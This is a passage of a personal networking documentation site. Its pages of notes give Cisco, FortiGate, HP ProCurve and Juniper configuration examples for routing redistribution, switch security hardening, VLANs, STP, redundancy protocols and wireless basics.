1500 R2(config-route-map)#set tag 40 R2(config)#router eigrp 100 R2(config-router)#redistribute ospf 1 route-map OSPF-TO-EIGRP R2(config)#route-map EIGRP-TO-OSPF deny 5 R2(config-route-map)#match tag 40 R2(config)#route-map OSPF-TO-EIGRP deny 5 R2(config-route-map)#match tag 10 20 30 R2(config)#router eigrp 100 R2(config-router)#distance eigrp 90 105 R2(config-router)#end R2#wr ``` **Router R3** ``` text R3(config)#int s1/0 R3(config-if)#ip add 10.1.13.3 255.255.255.0 R3(config-if)#no shut R3(config-if)#int s1/1 R3(config-if)#ip add 10.1.23.3 255.255.255.0 R3(config-if)#no shut R3(config-if)#router ospf 1 R3(config-router)#net 10.1.13.0 0.0.0.255 area 0 R3(config-router)#router eigrp 100 R3(config-router)#net 10.1.23.0 0.0.0.255 R3(config-router)#no auto R3(config)#route-map EIGRP-TO-OSPF permit 10 R3(config-route-map)# match ip address 1 R3(config-route-map)# set metric 100 R3(config-route-map)# set tag 10 R3(config-route-map)#route-map EIGRP-TO-OSPF permit 20 R3(config-route-map)# match ip address 2 R3(config-route-map)# set metric 200 R3(config-route-map)# set tag 20 R3(config-route-map)#route-map EIGRP-TO-OSPF deny 30 R3(config-route-map)# match ip address 3 R3(config-route-map)# set metric 300 R3(config-route-map)# set tag 30 R3(config-route-map)#route-map EIGRP-TO-OSPF permit 40 R3(config-route-map)# set metric 300 R3(config-route-map)# set tag 30 R3(config-route-map)#router ospf 1 R3(config-router)#redistribute eigrp 100 subnets route-map EIGRP-TO-OSPF R3(config-router)#access-list 1 permit 10.4.0.0 0.0.0.255 R3(config)#access-list 1 permit 10.4.1.0 0.0.0.255 R3(config)#access-list 2 permit 10.4.2.0 0.0.0.255 R3(config)#access-list 2 permit 10.4.3.0 0.0.0.255 R3(config)#access-list 3 permit 10.4.4.0 0.0.0.255 R3(config)#route-map OSPF-TO-EIGRP permit 10 R3(config-route-map)#set metric 400 20 255 1 1500 R3(config-route-map)#set tag 40 R3(config-route-map)#router eigrp 100 R3(config-router)#redistribute ospf 1 route-map OSPF-TO-EIGRP R3(config-router)#exit R3(config)#route-map EIGRP-TO-OSPF deny 5 R3(config-route-map)#match tag 40 R3(config-route-map)#exit R3(config)#route-map OSPF-TO-EIGRP deny 5 R3(config-route-map)#match tag 10 20 30 R3(config-route-map)#do wr ``` **Router R4** ``` text R4(config)#int lo0 R4(config-if)#ip add 10.4.0.1 255.255.255.0 R4(config-if)#int lo1 R4(config-if)#ip add 10.4.1.1 255.255.255.0 R4(config-if)#int lo2 R4(config-if)#ip add 10.4.2.1 255.255.255.0 R4(config-if)#int lo3 R4(config-if)#ip add 10.4.3.1 255.255.255.0 R4(config-if)#int s1/0 R4(config-if)#ip add 10.1.24.4 255.255.255.0 R4(config-if)#no shut R4(config-if)#router eigrp 100 R4(config-router)#net 10.0.0.0 R4(config-router)#no auto R4#wr ``` --- # Campus Security Source: docs/networking/cisco/switching/campus-security.md URL: https://docs.calebsargeant.com/networking/cisco/switching/campus-security/ ## Basic Port Security and 802.1x ### Port Security on Catalyst Switches - Prevents many layer 2 attacks - Can use secure MAC Addresses - Dynamic - Static - Sticky - Limits the number of MAC Addresses per port ``` text int f0/21 switchport mode access switchport port-security switchport port-security max 1 switchport port-security violation restrict errdisable recovery cause security-violation switchport port-security mac-address sticky x ``` ### Identity-Based Network Services (IBNS) ``` text aaa new-model aaa authentication dot1x default group radius dot1x system-auth-control int f0/1 dot1x port-control auto ``` ## VLAN and Spoofing Attacks ### Preventing VLAN Hopping Attacks - VLAN Hopping: Hacker negotiates a trunk connection with a switch, moves between vlans - Simple, yet easily forgotten prevention ``` text switchport mode access ``` ### Private VLANs - Promiscuous - Isolated - Community ### Setting up Private VLANs ``` text vtp mode transparent vlan 200 private-vlan primary vlan 205 private-vlan community vlan 210 private-vlan isoated vlan 200 private-vlan association 205,210 show vlan private-vlan type int f0/24 switchport mode private-vlan switchport mode private-vlan host switchport private-vlan host-association 200 205 int f0/26 switchport mode private-vlan host switchport private-vlan host-association 200 210 int f0/27 switchport mode private-vlan promiscuous switchport private-vlan mapping 200 205,210 sh vlan private-vlan ``` ### Man in the Middle Attacks ``` text ip dhcp snooping int f0/23 ip dhcp snooping trust sh ip dhcp snoop bind ``` ## STP Attacks and Other Security Considerations ### Spanning Tree Manipulation ``` text int f0/1 spanning-tree bpduguard enable do sh int f0/1 # stop switches from becoming root spanning-tree guard root ``` ### Cisco Switches Best Practices 1. Disable CDP wherever possible (`no cdp enable`) 2. Lock down spanning-tree (`switchport host` and `bpduguard`) 3. disable trunk negotiation on access ports (`sw mo acc`) 4. Physical security is key 5. Place unused ports in a black-hole vlan (`lin vty 0 4`, `trans in ssh`) 6. Use SSH when possible ## VACLs ### The Switch ACL: VACLs - Allows you to filter traffic on VLAN - Supported on MLS only - Typically found in larger environments ``` text # VACL access-list 1 permit 10.1.10.0 mac access-list extended SERVER permit any host 1111.1111.2222 access-list 2 perit 10.1.30.0 0.0.0.255 vlan access-map DEMO 10 match ip add 1 action forward vlan access-map DEMO 20 action drop vlan filter DEMO vlan-list 10 vlan access-map DEMO1 10 match ip add 2 action forward vlan access-map DEMO1 20 action drop vlan filter DEMO1 vlan-list 30 # PACL # use ACLs from above then: int f0/1 ip access-group 1 in mac access-group adsf in ``` --- # Campus VoIP Source: docs/networking/cisco/switching/campus-voip.md URL: https://docs.calebsargeant.com/networking/cisco/switching/campus-voip/ ## Why an Organization Would use IPT Trackable Cost Savings: - Moves, Adds, and changes (Macs) - Bandwidth and equipment efficiency - Lower cost of voice transmission - New applications and devices ## Phase One IP Telephony Migration - Keep the PBX system and digital phones - Calls routed over WAN rather than PSTN - Major benefit: Free LD - Major requirement: QoS ## Phase Two IP Telephony Migration - Voice and Data network have become one - PBX and Digital phones for sale on E-Bay - True integration between voice and data - Typically new structures start here ## Campus Issues to Power when Deploying VOIP - Inline Power - Dual VLANs - QoS ## Understanding and Configuring Dual VLANs ``` text switchport mode access switchport access vlan 200 switchport voice vlan 100 ``` ## Understanding and Configuring QoS - Two QoS markings: - Class of service (CoS): layer 2 - Type of service (ToS): layer 3 ``` text mls qos trust cos mls qos trust device cisco-phone auto qos voip trust no auto qos voip cisco-phone ``` --- # Core Concepts and Design Source: docs/networking/cisco/switching/core-concepts-and-design.md URL: https://docs.calebsargeant.com/networking/cisco/switching/core-concepts-and-design/ ## Plug and play switches - Chance for failure - Broadcast traffic - Multicast issues - Security issues - MAC flooding ## Enterprise Composite Network Model - Access - Distribution - Core ## VLANs - Simpler Management - Troubleshooting ease - Better performance - Mental sanity - Summarization points ## Designing the Network - Restrict VLANs to switch blocks - Implement management VLAN - Separate voice traffic - Implement multicast support ## The Two Flavours of CISCO Switches - CISCO catalyst OS (CatOS) - Uses set-based syntax - Typically combined with IOS for layer 3 functions - CISCO 'native' IOS - Similar to router configuration - Typically, all larger switch models (such as cat 4500, 6500, etc...) run CatOS - CISCO has a migration path for all mainline switches to the native IOS --- # Etherchannel Source: docs/networking/cisco/switching/etherchannel.md URL: https://docs.calebsargeant.com/networking/cisco/switching/etherchannel/ ## Two Negotiating Protocols - Port Aggregation Protocol (PAGP) - Cisco Proprietary - Port Modes: Auto, Desirable, On - Link Aggregatrion Control Protocol (LACP) - Industry standard (802.3ad) - Port modes: passive, active, on ## Configuring EtherChannel ### Layer 2 EtherChannel ``` text int r g0/23 - 24 channel-protocol pagp channel-group 1 mode desireable show etherchannel 1 port ``` ### Layer 3 EtherChannel ``` text int r g0/23 -24 no channel-group 1 no switchport int port-channel 1 no switchport ip address 10.1.1.1 255.255.255.0 channel-group 1 mode desireable ``` ## Best Practices - All ports must use same speed and duplex (hard code!) - Interfaces in a bundle are redundant - No interfaces in bundle can be span ports - Interfaces in a bundle must be in same VLAN / trunk - Any changes to port-channel affects all bundled ports - Any changes to individual ports affect only that port --- # General Source: docs/networking/cisco/switching/general.md URL: https://docs.calebsargeant.com/networking/cisco/switching/general/ ## AAA ### RADIUS You cannot use LDAP on a Cisco switch (at least not this one): ``` text SW(config)#aaa authentication login default group ? WORD Server-group name radius Use list of all Radius hosts. tacacs+ Use list of all Tacacs+ hosts. ``` The below adds the radius-server to the switch with the secret key "test" and enables authentication via radius, then local ``` text # enable aaa aaa new-model # configure the radius server on the switch radius-server host x.x.x.x auth-port 1812 acct-port 1813 key test # enable radius authentication for the switch aaa authentication login default group radius local # enable an enable password to become privileged enable password mypasswordhere # enable vendor specific attributes (optional for basic config, but necessary for advanced features - ISE) radius-server vsa send authentication radius-server vsa send accounting # maintain and build an IP tracking table to track hosts that connect to network (ISE) ip device tracking # to test authentication SW#test aaa group radius caleb.test Password1 new-code User successfully authenticated ``` Via NPS: Add the client to NPS ![switching aaa radius](_images/switching-aaa-radius-1.png) ![switching aaa radius](_images/switching-aaa-radius-2.png) ## Health - CPU: `Sh proc cpu sorted | ex 0.00` ## Factory Default Settings 1. Hold down the mode button 2. Plug in console cable 3. Commands: ``` text switch: flash_init switch: dir flash: switch: del flash:config.text del flash:vlan.dat boot ``` ## IOS Upgrade 1. Setup a TFTP server 2. Commands: ``` text # Backup config copy run start # Backup config to server copy startup-config tftp: # Copy the .bin file downloaded to flash copy tftp flash: # Verify the .bin file verify flash:xxxx.bin # Specify to boot off of the new .bin file boot system flash:xxxxxxx.bin reload ``` ## Isolating Guest Network The below configuration is applied on the Core Switch(es) in to block the guest network (VLAN100) from accessing the rest of the networks. ``` text ip access-list extended VLAN100 permit udp any eq bootpc host 10.10.10.10 eq bootps permit udp any eq bootpc host 10.10.10.11 eq bootps permit udp any any eq domain permit tcp any host 10.10.10.12 eq 8880 deny ip any 10.0.0.0 0.255.255.255 deny ip any 172.16.0.0 0.15.255.255 deny ip any 192.168.0.0 0.0.255.255 deny ip any 169.254.0.0 0.0.255.255 permit ip any any interface Vlan100 ip access-group VLAN100 in ``` --- # Switching Source: docs/networking/cisco/switching/index.md URL: https://docs.calebsargeant.com/networking/cisco/switching/ --- # L3 Switching Source: docs/networking/cisco/switching/l3-switching.md URL: https://docs.calebsargeant.com/networking/cisco/switching/l3-switching/ The Problem: Clients need routing between VLANs ## Router on a stick (802.1Q/ISL) - Advantages: - Simple to set up - Lower cost - Disadvantages: - Congestion on a link - Single point of failure - Delay of routing - Setup: - (Switch) configure trunk - (Router) create sub-interfaces ``` text int f0/1 switchport trunk encap dot1q switchport mode trunk int f0/0.10 encap dot1q 10 ip address 10.1.10.1 255.255.255.0 int f0/0.20 encap dot1q 20 ip add 10.1.20.1 255.255.255.0 ``` ## Multi-Layer Switching - Advantages: - Routing at wire speed - Backplane bandwidth - Redundancy-enabled - Disadvantages: - Cost - Setup: - Create SVIs - (opt.) create routed ports - (opt.) enable routing protocols ``` text ip routing interface vlan 10 ip add 10.1.10.1 255.255.255.0 no shut interface vlan 20 ip add 10.1.20.1 255.255.255.0 no shut int fa0/24 no switchport ip add 10.1.24.1 255.255.255.252 ``` ## Understanding Layer 3 vs Multilayer Switching - First packet hits router, all future packets go through CEF/ASIC - L3 Switch is a switch with router inside - Multilayer is a switch that can cache routing info (CEF) - All L3 switches are multilayer switches - But not all multilayer switches are L3 ## Layer 3 Routing vs Layer 3 Switching - Router and L3 switch both have IOS software routing - Software routing is relatively slow compared to ASICs - L3 switches can play a little software - hardware trick ## Exceptions to CEF - Packet with header options - Packet with TTL expired - Packets destined to a tunnel interface - Packets with unsupported encapsulations - Packets requiring fragmentation (MTU exceeded) ## Verifying CEF Processing ``` text ip cef show ip cef summary show ip cef vlan 200 sh ip arp 172.30.100.11 ``` --- # Monitoring Source: docs/networking/cisco/switching/monitoring.md URL: https://docs.calebsargeant.com/networking/cisco/switching/monitoring/ ## Implementing Syslog - Your switch can store syslog messages locally - Syslog uses UDP port 514 ``` text lin con 0 logging synchronous logging 172.30.100.30 logging trap debugging ``` ## Understanding SNMP - SNMP "simply" grabs statistics from devices - Monitoring applications manipulate and message data - Three SNMP versions ``` text snmp-server community $up3r$ecr3t ro access-list 10 permit 172.30.100.30 0.0.0.0 snmp-server community $up3r$ecr3t ro 10 do sh run | i snmp ``` ## Understanding IP SLA - A way of detecting link failure using real time data - A way of testing service levels on a line - A way to add valuable data to network monitoring - A way to impress your friends - SLA endpoint can be either a device or ip sla responder ``` text ip sla 100 icmp-ech 4.2.2.2 frequency 5 ip sla schedule 100 start-time now life forever track 1 rtr 100 reachability sh ip sla statistics ip route 0.0.0.0 0.0.0.0 216.22.345.122 track 100 ``` --- # HSRP, VRRP, and GLBP Source: docs/networking/cisco/switching/redundancy-in-the-campus.md URL: https://docs.calebsargeant.com/networking/cisco/switching/redundancy-in-the-campus/ ## Redundancy Considerations - How fast can this happen? - How does the client know? - What about ARP cache issues? - What if just the WAN link fails? ## HSRP vs VRRP vs GLBP - Cisco Hot-Standby Router Protocol (HSRP): - Created by Cisco, for Cisco in 1994 - Uses a default hello timer of 3 seconds with a hold timer of 10 seconds - Virtual Router Redundancy Protocol (VRRP): - Created by the IETF in 1999 - Works between multiple vendors - Has faster timers than HSRP by default - hello of 1 second, hold timer of 3 seconds - Gateway Load Balancing Protocol (GLBP): - Created by Cisco, for Cisco in 2005 - Identical features to HSRP, but allows active-active connection that adds load balancing ## HSRP - Gateways organised into standby groups - One gateway active, others in standby state - Phantom (virtual) router IP and MAC address generated - Hello messages sent once every 3 seconds, dead after 10 sec Mac Address Structure: - 0000.0C07.ACXX - 0000.0C - Cisco Vendor ID - 07.AC - HSRP ID - XX - Standby group number ### HSRP Base Configuration - Step 1: Create standby group - Step 2: Reassign IP Addresses - Step 3: Verify - Step 4: optimize and tune ``` text # Switch A int vlan 70 standby 1 ip 172.30.70.1 standby 1 priority 150 # Switch B (default priority of 100) int vlan 70 standby 1 ip 172.30.70.1 standby 1 priority 100 # Verify show standby ``` ### Tuning and Optimizing HSRP - Priority - Preempt - Tracking - Timers ``` text standby group 1 preempt standby 1 track f0/23 60 standby 1 preempt delay reload 180 standby 1 timers msec 150 msec 700 ``` ## VRRP - Active/standby becomes master/backup - Standby group becomes VRRP group - master router can share virtual IP - One second hello timer, three times hello = down time (+ skew timer) ### VRRP Configuration - Step 1: Configure VRRP Group - Step 2: Optimize settings - Step 3: Verify ``` text # Master int f0/0 vrrp 20 ip 172.30.4.90 vrrp 20 preempt vrrp 20 timers advertise msec 100 # Backup # same, except instead of advertise, learn # Verify show vrrp ``` ## GLBP - Single VIP with Multiple MACs - Active Virtual gateway (AVG) acts as the 'point man' - Other routers act as active virtual forwarders (AVF) ### GLBP Configuration ``` # AVG int f0/0 glbp 1 ip 172.30.4.70 glbp 1 priority 150 # AVF # get priority 100 # other options glbp 1 load-balancing glbp 1 timers glbp 1 weighting # Verify show glbp ``` --- # STP Source: docs/networking/cisco/switching/stp.md URL: https://docs.calebsargeant.com/networking/cisco/switching/stp/ ## STP - Foundation per-VLAN Spanning Tree Concepts - Switches forward broadcast packets out all ports by design - Redundant connections are necessary in business networks - The place of spanning tree: drop trees on redundant links (until they are needed) ### The Facts About Spanning Tree - Original STP (802.1D) was created to prevent loops - Switches send "probes" into the network called Bridge Protocol Data Units (BPDUs) to discover loops - The BPDU probes also help elect the core switch of the network, called the Root Bridge - The simplistic view of STP: all switches find the best way to reach the root bridge than block all redundant links ### Understanding BPDUs and Elections - BPDUs are sent once every two seconds - Priority and Mac address in the packet - Priority is some value between 0 and 61440 (default is 32768); increments of 4096 - lower is better - Three port types - Root Port: used to reach the root bridge - Designated Port: forwarding port, one per link - Blocking / Non-designated port: where the tree fell ### How STP Finds the Best Path 1. Elect the root 2. Switches find lowest cost path to port 3. Use lower bridge ID on equal paths 4. Use lower port to break a tie | Link Bandwidth | STP Cost | |----------------|----------| | 4Mbps | 250 | | 10Mbps | 100 | | 16Mbps | 62 | | 45Mbps | 39 | | 100Mbps | 19 | | 155Mbps | 14 | | 622Mbps | 6 | | 1Gbps | 4 | | 10Gbps | 2 | ### Initial Enhancements: Per VLAN Spanning Tree - One root bridge elected for each VLAN - Helps load-balance more effectively. ### The Spanning-Tree Command ``` text Switch(config)#spanning-tree vlan x root primary Switch(config)#spanning-tree vlan x root secondary Switch(config)#spanning-tree vlan x priority ``` ### Problems with Spanning-Tree - Listening - 15 seconds of listening for BPDUs - Switch sends / receives BPDUs - Learning - 15 seconds of learning MAC addresses - Populates CAM table - Forwarding - Port is forwarding traffic (happy) - Blocking - BONUS - switch will wait up to 20 seconds (max-age) before moving a blocked port into a listening phase. ## Rapid Spanning Tree Concepts and Configuration ### Problems and Solutions - Problems with PCs: Modern PCs can boot faster than 30sec - Solution: Portfast (`spanning-tree portfast`) - Problems with Uplink Ports: 50 sec of down time causes big problems - Solution: Rapid Spanning-Tree - 802.1w - Proactive System - Redefined Port Roles - Many STP Similarities ### Rapid STP Port States - Discarding - Learning - Forwarding ### Rapid STP Port Roles - Root Port - Designated Port - Alternate Port - Edge Port ### Why RSTP is Better 1. Because it doesnt forget ports 2. Because of the proactive nature, many "safety timers" of STP are eliminated 3. Any change to trunk ports flood through the network to other switches (TC packets) 4. Because the name says "rapid" ### Configuring RSTP ``` text spanning-tree mode rapid-pvst int g0/0 spanning-tree portfast show spanning-tree ``` --- # The Switch's Domain Source: docs/networking/cisco/switching/the-switches-domain.md URL: https://docs.calebsargeant.com/networking/cisco/switching/the-switches-domain/ ## Understanding Loopguard - Stops loops caused by unidirection link failures - Example: - A is root bridge - Link between B and C is blocked (at B) - Link between B and C goes unidirectional - B releases the block, one-way loop occurs - Loopguard should be enabled (per-port) on all switch uplinks ``` text Switch(config-if)#spanning-tree guard loop Switch(Config)#spanning-tree loopguard default ``` ## Understanding UDLD - Different from loopguard, but from the same goal - Designed specifically for fiber - Sends a "Layer 2 ping" between neighbors - Supports normal and aggressive (preferred) mode - Cisco recommends use both! ``` text switch(config)#udld switch(config-if)#udld port switch#udld reset ``` ## Supervisor Redundancy Mechanisms - Stateful Switchover (SSO) - Lightning quick failover between supervisor engines - Sync's startup, running, L2 (MAC) and L3 (FIB) tables, ACLs - Cisco Non-Stop Forwarding (NSF) - Forwards traffic with CEF - Supports with EIGRP, OSPF, IS-IS, and BGP ## Designing the Network - Use local VLANs - Set up HSRP intuitively for active VLANs - Match STP root to active HSRP gateway --- # VLANs Source: docs/networking/cisco/switching/vlans.md URL: https://docs.calebsargeant.com/networking/cisco/switching/vlans/ ## Configuration and Verification ### VLAN Foundations - Logically groups users - Segments broadcast domains - Subnet correlation - Access control - Quality of service ### Local VLANs - Local VLANs do not extend beyond the distribution layer - Local VLAN traffic routed to other destinations - Should be created around physical boundries ### Configuring VLANs ``` text conf t vlan 200 name MARKETTING int r f0/0-10 switchport mode access switchport access vlan 100 ``` ### Deleting VLAN Database ``` text wr e del flash:vlan.dat ``` ## In-Depth Trunking ### Trunking - Trunking (aka tagging) passes multi-vlan information between switches - Places VLAN information into each frame - Layer 2 feature ### The Two Tagging Flavours - Inter-Switch Link (ISL) - CISCO proprietary - Encapsulates the entire frame - Being phased out - 802.1Q - Open standard/industry standard - Inserts tag into frame rather than encapsulation ### Digging Deeper Into the Trunk - ISL - 26 byte header (Junk, VLAN, Junk) - Ethernet Frame - 4 byte CRC - 802.1Q - Destination MAC - Source MAC - 4 byte tag (3 bit PRI, VLAN) - Ethernet Frame - FCS ### Negotiating Trunking - Switches can auto-negotiate trunk connections using Dynamic Trunking Protocol (DTP) - Can be confusing... - Five different modes: - Access - Trunk - Dynamic Auto - Dynamic desirable - Non-negotiate ### Configuring Trunk Ports ``` text int fa0/15 switchport trunk encap dot1q switchport mode trunk ! must do this everywhere: switchport nonegotiate switchport trunk native vlan 10 switchport trunk allowed vlan x y z ``` ## VLAN Trunking Protocol ### VTP Modes - Server (default) - Power to change vlan information - Sends and receives vtp updates - Saves vlan configuration - Client - Cannot change vlan information - Sends and receives vtp updates - Does not save vlan configuration - Transparent - Power to change vlan information - Forwards (passes through) vtp updates - vtp v2 - Does not listen to vtp advertisements - Saves vlan configuration ### VTP Pruning - Keeps unnecessary broadcast traffic from crossing trunk links - Only works on vtp servers ### Configuring VTP 1. Verify current VTP status 2. Configure VTP domain/password 3. Configure VTP mode 4. Set VTP version number 5. Verify ``` text sh vtp status vtp domain calebsargeant.com vtp mode vtp version 2 ``` ### Common VLAN problems - Native VLAN mismatch - Trunk negotiation issues - Auto-to-auto does not become trunk - If possible, avoid DTP (trunk nonegotiate) - VTP updates not applying - Verify vtp domain/password - Verify vtp version - Verify trunk links - Delete flash:lvlan.dat and reboot --- # Wireless LAN Source: docs/networking/cisco/switching/wireless-lan.md URL: https://docs.calebsargeant.com/networking/cisco/switching/wireless-lan/ ## Foundation Concepts and Design ### Types of Wireless Networks - Personal Area Network (PAN) - Local Area Network (LAN) - Metropolitan Area Network (MAN) - Wide Area Network (MAN) ### Wireless LAN Facts - A Wireless Access Point (WAP) communicates like a hub - Shared signal - Half duplex - Uses unlicensed bands of radio frequency (RF) - Wireless is a physicall and data link standard - Uses CSMA/CA instead of CSMA/CD - Faces connectivity issues because of interference ### Understanding the SSID - The Service Set Identifier (SSID) uniquely identifies and seperates wireless networks - When a wireless client is enabled: 1. Client issues a proble 2. Access Point(s) respond with a beacon 3. Client associates with chosen SSID 4. Access Point adds client MAC to association table ### Correct Design of a WLAN - RF service areas should have 10-15% overlap - Repeaters should have 50% overlap - Bordering access points should use different channels ### Client Roaming - As more mobile devices are released, client roaming becomes a big deal - True roaming allows seamless movement between access points - Not a feature 'Joe-Shmo' access points can support - Provides solid coverage and better battery life - Can be costly ### Two Flavors or Roaming **Layer 2 Roaming** Requirement: same SSID, same VLAN, same Subnet **Layer 3 Roaming (AKA Mobile IP)** Requirement: same SSID ### How a Client Roams - Beacons are missed - Data reaches maximum retry count - Data rate shifts down - Periodic intervals ### Wireless VLAN Support Multiple VLANs provide support for: - Multiple security levels - Multiple subnets - Multiple access privileges ## Frequencies and 802.11 Standards ### Unlicensed Frequencies - 900MHz Range: 902 - 928 - 2.4GHz Range: 2.400 - 2.483 - 5GhZ Range: 5.150 to 5.350 ### Understanding RF - RF waves are absorbed (passing through walls) or reflected (by metal) - Higher data rates have shorter ranges - Higher frequencies of RF have higher data rates - Higher frequencies of RF have shorter ranges ### The 802.11 Lineup - 802.11b - Official as of september 1999 - up to 11 mbps (1, 2, 5.5, 11 data rates) - most popular standard - three 'clean' channels - 802.11g - Official as of june 2003 - Backwards compatible with 802.11b - Up to 54 Mbps (12 data rates) - Three 'clean' channels - 802.11a - Official as of september 1999 - Up to 54 Mbps - Not cross-compatible with 802.11b/g - 12 to 23 'clean' channels ### Wireless Range - The further you go, the lower your speed - Example: 802.11g does 54Mbps if you're 40ft from the AP - Example: 802.11a does 54Mbps if you're 20 from the AP - Example: 802.11b does 11Mbps if you're 110ft from the AP ### Wireless LAN Security - Wireless has added a whole new paradigm to security - The wireless security evolution: - 1997 - Wired Equivalent Privacy (WEP) - 2001 - 802.1x EAP - 2003 - Wi-Fi protected Access (WPA) - 2004 - IEEE 802.11i (WPA2) ## Understanding the Hardware ### Understanding the AP Categories - Autonomous APs - Stand alone system - Cisco IoS-based - Can be centrally controlled using Wireless Domain Services (WDS) - Managed using Ciscoworks WLAN Solution Engine (WLSE) - Lightweight APs - Server-dependant system - Zero-configuration access points - Can be centrally controlled using Wireless LAN Controller (WLC) - Managed using Cisco Wireless Control System (WCS) - optional ### Understanding Lightweight Access Points - Lightweight Access Point Protocol (LWAPP) used between controller and WAPs - Controller has all the intellegence for communication - Access point acts as "dumb terminal" that processes packets - Referred to as "split mac" design ### Wireless LAN Controllers - 2100 series controller - Designed for SMB - Currently supports up to 6 access points - 4400 series controller - 4402 supports 12, 25, or 50 access points - 4404 supports 100 access points ### Cisco Wireless Indoor Access Points - 1130AG - Indoor design - Slick, glowing plastic enclosure - Designed for cubicle/office environment - 1240AG - Indoor design - Durable metal enclosure - Handle larger temperature swings - Manufacturing, warehouses, etc - 1300 series - Outdoor design - your typical "put it there, get wireless" sort of AP - Handles outdoor temperatures (-22 to 131) - Can be configured as a bridge - 1400 series - Outdoor design - Point-to-point or multipoint bridging - Handles outdoor temperatures - 8.5 mile (p2p) pr 2.75 mile (p2m) range ### Power Over Ethernet - Two Standards: - 802.3af - Cisco proprietary PoE - Comes in many forms - Cisco PoE switches - Switch router cards - SOHO firewalls and routers - Power patch panel - Inline power injector ### Understanding Antennas - Omni-Directional Antenna: Provides even spread of wireless signal in a radius around the access point - Directional Antenna: Allows you to point antennas to get more radius and range in a specific direction - Yagi Antenna: Provides dual adjustments of direction and focus. The more streamlined focus gets intense reach/range. --- # VIRL Source: docs/networking/cisco/virl.md URL: https://docs.calebsargeant.com/networking/cisco/virl/ GUI client for VIRL: CLI client for VIRL: ``` bash # Install VirlUtils pip install virlutils # Get a list of commands virl --help # show list of VIRL topologies that can be downloaded virl search # Create a virl topology from template (virl down to turn off) virl up virlfiles/5_router_mesh # List running topologies virl ls # VIRL node list virl nodes # Console into a device virl console iosv-5 # SSH into a device virl ssh iosv-1 # Telnet into a device, etc, etc. virl telet iosv-2 # .virlrc contains the virl configuration. This can be in ~/ or in the working dir. Example: VIRL_HOST=10.10.20.160 VIRL_USERNAME=guest VIRL_PASSWORD=guest # Generate ansible inventory file virl generate ansible ``` --- # FortiGate Source: docs/networking/fortigate.md URL: https://docs.calebsargeant.com/networking/fortigate/ ## Site to Site VPN In the below example, we are creating a VPN tunnel from 192.168.122.0/24 to 10.137.0.0/26 and 10.137.5.0/26. ![fortigate site to site vpn](_images/fortigate-site-to-site-vpn-1.png) 1. Create the tunnel. ![fortigate site to site vpn](_images/fortigate-site-to-site-vpn-2.png) 2. Check if there are current objects for the destination range(s) (10.137.0.0 & 10.137.5.0). There are ranges already, because this guide was created after the work was done. See the search bar at the top-right. ![fortigate site to site vpn](_images/fortigate-site-to-site-vpn-3.png) 3. Create the objects for the destination range(s). ![fortigate site to site vpn](_images/fortigate-site-to-site-vpn-4.png) 4. Find the interface(s) that the source range(s) are connected to. The servers that are needing to communicate to the destination (10.137.0.0 & 10.137.5.0) is 192.168.122.144, 192.168.122.145 & 192.168.122.146. ![fortigate site to site vpn](_images/fortigate-site-to-site-vpn-5.png) 5. Find out what is currently allowed to the destination interface (DMZ) from the source IP addresses provided (192.168.122.144, 192.168.122.145 & 192.168.122.146). We know to search for "REDACTED" from the previous step. ![fortigate site to site vpn](_images/fortigate-site-to-site-vpn-6.png) 6. Create the policy. ![fortigate site to site vpn](_images/fortigate-site-to-site-vpn-7.png) ## Management VDOM You need the management VDOM (`management-vdom root` is default) and internet to keep the following alive: - AV/IPS updates - DNS queries - NTP time-sync - Webfilter rating look-ups - forticloud logging - SNMP, Email, alerting In a multi-vdom environment, you can change the default vdom: ``` text config global config system global set management-vdom end ``` --- # HP Procurve Source: docs/networking/hp.md URL: https://docs.calebsargeant.com/networking/hp/ ## Checking Health Uptime: `show ver` Memory: `show health` CPU: `show system processes brief` ## Backing up Configs Start the TFTP Server. Run the command `copy running-config tftp 10.10.0.81 SWITCH-NAME` ## Upgrading 1. Go to [HP Support Lookup:](https://h10145.www1.hpe.com/support/SupportLookUp.aspx) 2. Find the Model Number of the switch by looking at the front-left side of the switch. ![hp procurve upgrade](_images/hp-procurve-upgrade-1.png) 3. Type the model number into the search field on the website, click the checkbox and click Display Selected. ![hp procurve upgrade](_images/hp-procurve-upgrade-2.png) 4. Click on Software downloads. ![hp procurve upgrade](_images/hp-procurve-upgrade-3.png) 5. Download the latest Current Release. ![hp procurve upgrade](_images/hp-procurve-upgrade-4.png) 6. Copy the `.swi` file to your TFTP server. 7. Make sure that the TFTP server is running. 8. Remote into the switch. 9. Check the date stamp and version of the flash file currently on the switch by using `sh ver`. ![hp procurve upgrade](_images/hp-procurve-upgrade-5.png) 10. Run the command: `copy usb flash FILE_NAME primary` or `copy tftp 10.10.0.81 FILE_NAME primary`, depending on the source available/method available. 11. Verify that the switch was successfully flashed by checking the version, by using `show ver` (shows what version of flash is currently loaded on the switch) and `show flash` (shows what the currently booted image is, as well as the Primary and Secondary boot images). ![hp procurve upgrade](_images/hp-procurve-upgrade-5.png) 12. Reboot the switch, by pulling out the power cable, if the switches booted flash version is not the same as the Primary flash version. **A summary of the above:** ``` text show run show version show flash wr mem copy run tftp 10.10.0.81 NAME copy tftp flash 10.10.0.81 name.swi primary ## it will then say: #The Primary OS Image will be deleted, continue [y/n]? show flash reload ## it will then say: # System will be rebooted from primary image. Do you want to continue [y/n]? # Do you want to save the current configuration [y/n]? show version show flash ``` ## STP Configuration Configuring the Root Bridge: ``` text Procurve 4204vl-1# configure Procurve 4204vl-1(config)# spanning-tree Procurve 4204vl-1(config)# spanning-tree priority 0 Procurve 4204vl-1(config)# write memory ``` Configuring the other switches: ``` text Procurve 4204vl-2# configure Procurve 4204vl-2(config)# spanning-tree Procurve 4204vl-2(config)# write memory ``` ## Trunking ``` text To show trunks: Sh trunk To show running config: Sh run To create a trunk: Trunk X trkX trunk (where x is a number) To create a VLAN: Vlan X Name Name Untag X (makes the default traffic go to this vlan) Tag trkX (makes sure that all the ports that are untagged, can travel on the trunk) To add port to the wireless: Vlan 8 Untag x Tag trk1 (only on new switch) Vlan 9 Tag x Tag trk1 (only on new switch) To add a port to data network: Vlan 2 Untag x Tag trk1 (only on new switch) To add an existing port to voice network: Vlan 22 Tag x (where x is the number of the port in data network) Tag trk1 (only on new switch) Voice (only on new switch) Qos dscp 101110 (only on new switch) To label port: Int x Name name ``` --- # Juniper Source: docs/networking/juniper.md URL: https://docs.calebsargeant.com/networking/juniper/ ## SSG-350M Site-to-Site VPN ### Phase 1 ![juniper site to site vpn](_images/juniper-site-to-site-vpn-1.png) ![juniper site to site vpn](_images/juniper-site-to-site-vpn-2.png) ![juniper site to site 